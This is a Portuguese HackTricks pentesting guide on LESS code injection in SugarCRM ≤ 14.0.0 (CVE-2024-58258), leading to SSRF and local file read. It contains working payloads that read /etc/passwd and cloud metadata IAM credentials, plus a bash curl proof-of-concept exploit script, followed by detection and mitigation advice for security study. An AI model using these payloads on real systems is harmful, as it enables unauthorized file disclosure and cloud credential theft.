hacktricks/src/pentesting-web/less-code-injection-ssrf.md

76 lines
3.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LESS Code Injection leading to SSRF & Local File Read
{{#include ../banners/hacktricks-training.md}}
## Visão Geral
LESS é um pré-processador CSS popular que adiciona variáveis, mixins, funções e a poderosa diretiva `@import`. Durante a compilação, o mecanismo LESS irá **buscar os recursos referenciados nas declarações `@import`** e embutir ("inline") seus conteúdos no CSS resultante quando a opção `(inline)` é usada.
Quando uma aplicação concatena **entrada controlada pelo usuário** em uma string que é posteriormente analisada pelo compilador LESS, um atacante pode **injetar código LESS arbitrário**. Ao abusar de `@import (inline)`, o atacante pode forçar o servidor a recuperar:
* Arquivos locais via o protocolo `file://` (divulgação de informações / Inclusão de Arquivos Locais).
* Recursos remotos em redes internas ou serviços de metadados em nuvem (SSRF).
Essa técnica foi vista em produtos do mundo real, como **SugarCRM ≤ 14.0.0** (endpoint `/rest/v10/css/preview`).
## Exploração
1. Identifique um parâmetro que está diretamente embutido dentro de uma string de folha de estilo processada pelo mecanismo LESS (por exemplo, `?lm=` no SugarCRM).
2. Feche a declaração atual e injetar novas diretivas. Os primitivos mais comuns são:
* `;` termina a declaração anterior.
* `}` fecha o bloco anterior (se necessário).
3. Use `@import (inline) '<URL>';` para ler recursos arbitrários.
4. Opcionalmente, injetar um **marcador** (`data:` URI) após a importação para facilitar a extração do conteúdo buscado do CSS compilado.
### Leitura de Arquivos Locais
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
O conteúdo de `/etc/passwd` aparecerá na resposta HTTP logo antes do marcador `@@END@@`.
### SSRF Metadados da Nuvem
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### PoC Automatizado (exemplo SugarCRM)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Detecção
* Procure por respostas `.less` ou `.css` geradas dinamicamente contendo parâmetros de consulta não sanitizados.
* Durante a revisão de código, busque construções como `"@media all { .preview { ... ${userInput} ... } }"` passadas para funções de renderização LESS.
* Tentativas de exploração frequentemente incluem `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc.
## Mitigações
* Não passe dados não confiáveis para o compilador LESS.
* Se valores dinâmicos forem necessários, escape/sanitize-os adequadamente (por exemplo, restrinja a tokens numéricos, listas brancas).
* Desative, quando possível, a capacidade de usar imports `(inline)`, ou limite os protocolos permitidos a `https`.
* Mantenha as dependências atualizadas SugarCRM corrigiu esse problema nas versões 13.0.4 e 14.0.1.
## Casos do Mundo Real
| Produto | Endpoint Vulnerável | Impacto |
|---------|---------------------|---------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | SSRF não autenticado & leitura de arquivo local |
## Referências
* [SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilidade de Injeção de Código LESS](https://karmainsecurity.com/KIS-2025-04)
* [Aviso de Segurança do SugarCRM SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}